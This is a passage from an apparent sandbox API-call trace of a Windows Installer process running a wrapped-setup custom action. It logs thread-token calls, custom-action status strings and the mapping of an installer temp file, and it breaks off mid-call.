(in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.540] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.540] lstrlenW (lpString="-- CUSTOM ACTION -- Focus is yes") returned 32 [0150.540] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.541] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.541] GetCurrentThread () returned 0xfffffffffffffffe [0150.541] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.541] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.541] memcpy (in: _Dst=0x29f80b0, _Src=0x3802c0, _Size=0x40 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.541] memcpy (in: _Dst=0x380320, _Src=0x29f80b0, _Size=0x40 | out: _Dst=0x380320) returned 0x380320 [0150.542] SetEvent (hEvent=0x170) returned 1 [0150.542] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.543] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.544] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.544] GetCurrentThread () returned 0xfffffffffffffffe [0150.544] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.545] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.545] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.555] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.555] GetCurrentThread () returned 0xfffffffffffffffe [0150.555] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.555] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.556] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.556] GetCurrentThread () returned 0xfffffffffffffffe [0150.556] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.557] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.557] lstrlenW (lpString="-- CUSTOM ACTION -- Elevation mode is never") returned 43 [0150.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.557] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.557] GetCurrentThread () returned 0xfffffffffffffffe [0150.557] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.558] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.558] memcpy (in: _Dst=0x29f80b0, _Src=0x34b240, _Size=0x56 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.558] memcpy (in: _Dst=0x34b5c0, _Src=0x29f80b0, _Size=0x56 | out: _Dst=0x34b5c0) returned 0x34b5c0 [0150.558] SetEvent (hEvent=0x170) returned 1 [0150.558] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.560] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.562] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.562] GetCurrentThread () returned 0xfffffffffffffffe [0150.562] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.562] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.563] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.571] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.571] GetCurrentThread () returned 0xfffffffffffffffe [0150.571] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.571] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.572] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.574] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.574] GetCurrentThread () returned 0xfffffffffffffffe [0150.574] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.574] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.574] lstrlenW (lpString="-- CUSTOM ACTION -- Run before install file: \"\"") returned 47 [0150.574] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.574] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.574] GetCurrentThread () returned 0xfffffffffffffffe [0150.574] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.575] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.575] memcpy (in: _Dst=0x29f80b0, _Src=0x34b240, _Size=0x5e | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.575] memcpy (in: _Dst=0x34b540, _Src=0x29f80b0, _Size=0x5e | out: _Dst=0x34b540) returned 0x34b540 [0150.575] SetEvent (hEvent=0x170) returned 1 [0150.576] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.577] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.070] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.070] GetCurrentThread () returned 0xfffffffffffffffe [0157.070] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0157.070] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0157.071] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.077] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.077] GetCurrentThread () returned 0xfffffffffffffffe [0157.077] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0157.077] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0157.078] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.078] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.078] GetCurrentThread () returned 0xfffffffffffffffe [0157.079] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0157.079] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0157.079] lstrlenW (lpString="-- CUSTOM ACTION -- Validate cabinet file.") returned 42 [0157.079] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.079] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.079] GetCurrentThread () returned 0xfffffffffffffffe [0157.079] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0157.079] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0157.079] memcpy (in: _Dst=0x29f80b0, _Src=0x34b240, _Size=0x54 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0157.080] memcpy (in: _Dst=0x34b540, _Src=0x29f80b0, _Size=0x54 | out: _Dst=0x34b540) returned 0x34b540 [0157.080] SetEvent (hEvent=0x170) returned 1 [0157.081] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0157.083] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.084] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.084] GetCurrentThread () returned 0xfffffffffffffffe [0157.084] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0157.084] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0157.084] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.260] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.260] GetCurrentThread () returned 0xfffffffffffffffe [0157.260] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0157.260] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0157.261] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.261] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.261] GetCurrentThread () returned 0xfffffffffffffffe [0157.261] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0157.261] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0157.261] lstrlenW (lpString="-- CUSTOM ACTION -- Extract files from installer cabinet") returned 56 [0157.262] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.262] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0157.262] GetCurrentThread () returned 0xfffffffffffffffe [0157.262] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0157.262] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0157.262] memcpy (in: _Dst=0x29f80b0, _Src=0x32f010, _Size=0x70 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0157.262] memcpy (in: _Dst=0x32f250, _Src=0x29f80b0, _Size=0x70 | out: _Dst=0x32f250) returned 0x32f250 [0157.263] SetEvent (hEvent=0x170) returned 1 [0157.263] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0157.266] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.039] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.039] GetCurrentThread () returned 0xfffffffffffffffe [0159.039] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0159.039] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0159.040] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.597] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.597] GetCurrentThread () returned 0xfffffffffffffffe [0159.597] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0159.597] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.597] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.598] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.598] GetCurrentThread () returned 0xfffffffffffffffe [0159.598] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0159.598] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.598] lstrlenW (lpString="-- CUSTOM ACTION -- Run wrapped setup") returned 37 [0159.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.599] GetCurrentThread () returned 0xfffffffffffffffe [0159.599] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0159.599] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0159.599] memcpy (in: _Dst=0x29f80b0, _Src=0x3c59d0, _Size=0x4a | out: _Dst=0x29f80b0) returned 0x29f80b0 [0159.600] memcpy (in: _Dst=0x3c5a40, _Src=0x29f80b0, _Size=0x4a | out: _Dst=0x3c5a40) returned 0x3c5a40 [0159.600] SetEvent (hEvent=0x170) returned 1 [0159.601] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.604] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.605] GetCurrentThread () returned 0xfffffffffffffffe [0159.605] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0159.605] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0159.606] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.607] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.607] GetCurrentThread () returned 0xfffffffffffffffe [0159.607] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0159.607] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.607] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.608] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.608] GetCurrentThread () returned 0xfffffffffffffffe [0159.608] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0159.608] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.608] lstrlenW (lpString="-- CUSTOM ACTION -- Elevation mode is never") returned 43 [0159.608] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.609] GetCurrentThread () returned 0xfffffffffffffffe [0159.609] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0159.609] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0159.609] memcpy (in: _Dst=0x29f80b0, _Src=0x34b540, _Size=0x56 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0159.609] memcpy (in: _Dst=0x34b240, _Src=0x29f80b0, _Size=0x56 | out: _Dst=0x34b240) returned 0x34b240 [0159.610] SetEvent (hEvent=0x170) returned 1 [0159.610] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.611] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.612] GetCurrentThread () returned 0xfffffffffffffffe [0159.613] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0159.613] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0159.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.614] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.614] GetCurrentThread () returned 0xfffffffffffffffe [0159.614] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0159.614] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.615] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.615] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.616] GetCurrentThread () returned 0xfffffffffffffffe [0159.616] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0159.616] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.616] lstrlenW (lpString="-- CUSTOM ACTION -- OS supports elevation") returned 41 [0159.616] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.616] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.617] GetCurrentThread () returned 0xfffffffffffffffe [0159.617] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0159.617] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0159.617] memcpy (in: _Dst=0x29f80b0, _Src=0x34b540, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0159.617] memcpy (in: _Dst=0x34b5c0, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34b5c0) returned 0x34b5c0 [0159.617] SetEvent (hEvent=0x170) returned 1 [0159.617] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.619] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.620] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.620] GetCurrentThread () returned 0xfffffffffffffffe [0159.620] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0159.620] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0159.621] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.622] GetCurrentThread () returned 0xfffffffffffffffe [0159.622] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0159.623] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.624] GetCurrentThread () returned 0xfffffffffffffffe [0159.624] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0159.624] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0159.624] lstrlenW (lpString="-- CUSTOM ACTION -- Do not elevate executable installer") returned 55 [0159.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.625] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.625] GetCurrentThread () returned 0xfffffffffffffffe [0159.625] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0159.625] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0159.625] memcpy (in: _Dst=0x29f80b0, _Src=0x32f250, _Size=0x6e | out: _Dst=0x29f80b0) returned 0x29f80b0 [0159.625] memcpy (in: _Dst=0x32f010, _Src=0x29f80b0, _Size=0x6e | out: _Dst=0x32f010) returned 0x32f010 [0159.625] SetEvent (hEvent=0x170) returned 1 [0159.625] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0159.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.628] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0159.628] GetCurrentThread () returned 0xfffffffffffffffe [0159.628] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0159.629] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0159.629] SetThreadToken (Thread=0x0, Token=0x0) returned 1 Thread: id = 30 os_tid = 0xfa4 Thread: id = 31 os_tid = 0xfa8 Thread: id = 46 os_tid = 0xfac Thread: id = 47 os_tid = 0xfb0 Thread: id = 48 os_tid = 0xfb4 Thread: id = 49 os_tid = 0xfb8 Thread: id = 50 os_tid = 0xfbc Thread: id = 51 os_tid = 0xfc0 Thread: id = 52 os_tid = 0xfc4 Thread: id = 56 os_tid = 0xfd8 Thread: id = 57 os_tid = 0xff4 Thread: id = 58 os_tid = 0xff8 Thread: id = 60 os_tid = 0x1bc Thread: id = 146 os_tid = 0xd08 [0130.603] UrlIsW (pszUrl="C:\\Windows\\Installer\\MSI8ECF.tmp", UrlIs=0x0) returned 0 [0130.603] lstrlenW (lpString="C:\\Windows\\Installer\\MSI8ECF.tmp") returned 32 [0130.603] memcpy (in: _Dst=0x2af28e0, _Src=0x3805ea, _Size=0x16 | out: _Dst=0x2af28e0) returned 0x2af28e0 [0130.603] UrlIsW (pszUrl="C:\\Windows\\Installer", UrlIs=0x0) returned 0 [0130.604] lstrlenW (lpString="C:\\Windows\\Installer") returned 20 [0130.604] memcpy (in: _Dst=0x3c2130, _Src=0x360570, _Size=0x4 | out: _Dst=0x3c2130) returned 0x3c2130 [0130.604] lstrlenW (lpString="\\") returned 1 [0130.604] lstrlenW (lpString="\\\\") returned 2 [0130.604] wcsstr (_Str="\\Windows\\Installer", _SubStr="\\\\") returned 0x0 [0130.604] memcpy (in: _Dst=0x1a8eef0, _Src=0x360574, _Size=0x26 | out: _Dst=0x1a8eef0) returned 0x1a8eef0 [0130.604] lstrlenW (lpString="Windows") returned 7 [0130.604] lstrlenW (lpString="Windows") returned 7 [0130.604] lstrlenW (lpString="Installer") returned 9 [0130.604] lstrlenW (lpString="Installer") returned 9 [0130.604] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0130.604] lstrlenW (lpString="\\Windows\\Installer") returned 18 [0130.604] lstrlenW (lpString="\\") returned 1 [0130.605] memcpy (in: _Dst=0x360520, _Src=0x3605c0, _Size=0x24 | out: _Dst=0x360520) returned 0x360520 [0130.605] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0130.605] GetFileAttributesW (lpFileName="C:\\Windows\\Installer" (normalized: "c:\\windows\\installer")) returned 0x16 [0130.606] lstrlenW (lpString="MSI8ECF.tmp") returned 11 [0130.606] lstrlenW (lpString="MSI8ECF.tmp") returned 11 [0130.606] lstrlenW (lpString="MSI8ECF.tmp") returned 11 [0130.606] memcpy (in: _Dst=0x360570, _Src=0x338890, _Size=0x4 | out: _Dst=0x360570) returned 0x360570 [0130.606] memcpy (in: _Dst=0x360574, _Src=0x360520, _Size=0x28 | out: _Dst=0x360574) returned 0x360574 [0130.606] lstrlenW (lpString="MSI8ECF.tmp") returned 11 [0130.607] memcpy (in: _Dst=0x380560, _Src=0x360570, _Size=0x2a | out: _Dst=0x380560) returned 0x380560 [0130.607] memcpy (in: _Dst=0x32cec8, _Src=0x2af28e0, _Size=0x18 | out: _Dst=0x32cec8) returned 0x32cec8 [0130.607] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1a8fb60 | out: lpFileInformation=0x1a8fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b494bb0, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7b494bb0, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7c1f8770, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x34000)) returned 1 [0130.607] CreateFileW (lpFileName="C:\\Windows\\Installer\\MSI8ECF.tmp" (normalized: "c:\\windows\\installer\\msi8ecf.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x350 [0130.607] GetFileType (hFile=0x350) returned 0x1 [0130.607] CreateFileMappingW (hFile=0x350, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x268 [0130.608] GetCurrentProcess () returned 0xffffffffffffffff [0130.608] GetProcAddress (hModule=0x76d20000, lpProcName="NtMapViewOfSection") returned 0x76d71590 [0130.608] NtMapViewOfSection (in: SectionHandle=0x268, ProcessHandle=0xffffffffffffffff, BaseAddress=0x1a8fcc8*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1a8fc70*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x1a8fcc8*=0xcb0000, SectionOffset=0x0, ViewSize=0x1a8fc70*=0x34000) returned 0x0 [0130.617] GetProcAddress (hModule=0x76d20000, lpProcName="RtlImageNtHeaderEx") returned 0x76d77ec0 [0130.617] RtlImageNtHeaderEx (Flags=0x0, BaseAddress=0xcb0000, Size=0x34000, NtHeader=0x1a8fc78) returned 0x0 [0130.617] GetCurrentProcess () returned 0xffffffffffffffff [0130.617] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0xcb0000) returned 0x0 [0130.618] CloseHandle (hObject=0x268) returned 1 [0130.618] CloseHandle (hObject=0x350) returned 1 [0130.620] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoInitializeEx") returned 0x7fefd502a30 [0130.620] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0130.621] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x1a8fa80, TokenInformationLength=0x58, ReturnLength=0x1a8fa70 | out: TokenInformation=0x1a8fa80, ReturnLength=0x1a8fa70) returned 1 [0130.621] CopySid (in: 